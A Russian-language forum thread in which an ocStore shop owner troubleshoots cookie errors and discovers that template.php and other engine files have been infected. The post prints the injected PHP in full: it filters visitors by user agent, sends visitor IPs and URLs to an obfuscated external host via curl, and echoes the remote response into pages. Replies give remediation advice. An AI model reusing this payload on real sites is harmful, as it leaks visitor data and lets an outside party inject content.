Перейти к содержанию
maxhit

Проблема с куками и кодировкой

Рекомендуемые сообщения

Проблема с сайтом началась не так давно, и появилась сама по себе, без каких либо правок. Фото проблемы ниже. Причем выплывает она периодично, и только в браузере Firefox. Исправил путем закомментирования строк на которые он ругается. Я в php не силен. В чем может быть причина? Подскажите пожалуйста

 

Комменты ставил на следующие строки:

 

system/library/session.php

 

//if (!session_id()) {
            //ini_set('session.use_cookies', 'On');
            //ini_set('session.use_trans_sid', 'Off');
            
            //session_set_cookie_params(0, '/');
            //session_start();
        //}
 

system/library/template.php

if ($sResult[0]=="O")
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
 


Второй блок кода комменты не хотел ставить. Я ставлю, перезаливаю файл, он вроде перезаливается. Но код остается прежним. Радует что ошибки исчезли.

 

Минус что корзина перестала работать :(

 

ef822f2a593b7d08b4c106636789928c.jpg

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

движок? версия? откуда качали?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Version 1.5.1.3 , качал с офф.сайта, русский опенкард

 

Может вирус какой-то, ведет себя подозрительно...

 

Сейчас разкомменитровал все блоки, и никакой ошибки. :mellow:  Я уже не знаю что и думать

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

еще раз:

ДВИЖОК? (opencart / ocStore / другое)

ОТКУДА КАЧАЛИ? (ссылку)

 

в ocStore_1513 в библиотеке template.php всего 26 строк (вместе с пустыми).

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Движок ocStore Version 1.5.1.3. Качал от сюда - https://myopencart.com/. Давно это было.

 

Я вспомнил схожую проблему, она была с момента установки. При заходе в админке в раздел "Модули", получалось вот такое:

347ba5dd3b63f3905fc3ebd4c17858e8.jpg

 

 

Код в файле template.php довольно странный, похож на заразу :(

 

<?php
final class Template {
	public $data = array();
	
	public function fetch($filename) {
		$file = DIR_TEMPLATE . $filename;
    
		if (file_exists($file)) {
			extract($this->data);
			
      		ob_start();
      
	  		include($file);
      
	  		$content = ob_get_contents();

      		ob_end_clean();

      		return $content;
    	} else {
			trigger_error('Error: Could not load template ' . $file . '!');
			exit();				
    	}	
	}
}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

вас похакали.

запросите у хостера логи доступа к ftp.

восстановите файлы магазина из бэкапа.

 

system/* можно вообще из оригинального архива движка восстановить (залить поверх с заменой).

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Ой, как же вовремя вы мне помогли.))) Данные доступа к FTP есть. Просто перезалить папку System? Брать с такой же версии движка? Или можно более новые?

 

Из бэкапа вы имеете ввиду посредством хостинга?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

запросите у хостера логи доступа к ftp.

это надо для анализа ситуации.
также сделайте бэкап файлов магазина для анализа.

= = =

 

Из бэкапа вы имеете ввиду посредством хостинга?

 

да.

 

Просто перезалить папку System? Брать с такой же версии движка? Или можно более новые?

 

только с той же версии.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Бэкап уже заражен, на серваке хранят в течении 7 дней. :( . Этот код засунут почти во все файлы движка.

 

Я вот подумал, может проше поставить все на свежую и сделать импорт. Реально это?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

если у вас нет изменений - можно оригинальные файлы залить.

но лучше бы вам почистить комп, сменить пароли, слить файлы магазина себе, почистить их локально, залить на хостинг.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Правильно я понял, если я перезалью по ftp все файлы на оригинал (с последней версии cms) то товары, картинки, страницы останутся прежними?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

если проводились изменения функционала - все "тю-тю".

товары и картинки останутся.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Для публикации сообщений создайте учётную запись или авторизуйтесь

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!

Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.

Войти

  • Последние посетители   0 пользователей онлайн

    Ни одного зарегистрированного пользователя не просматривает данную страницу

×

Важная информация

На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.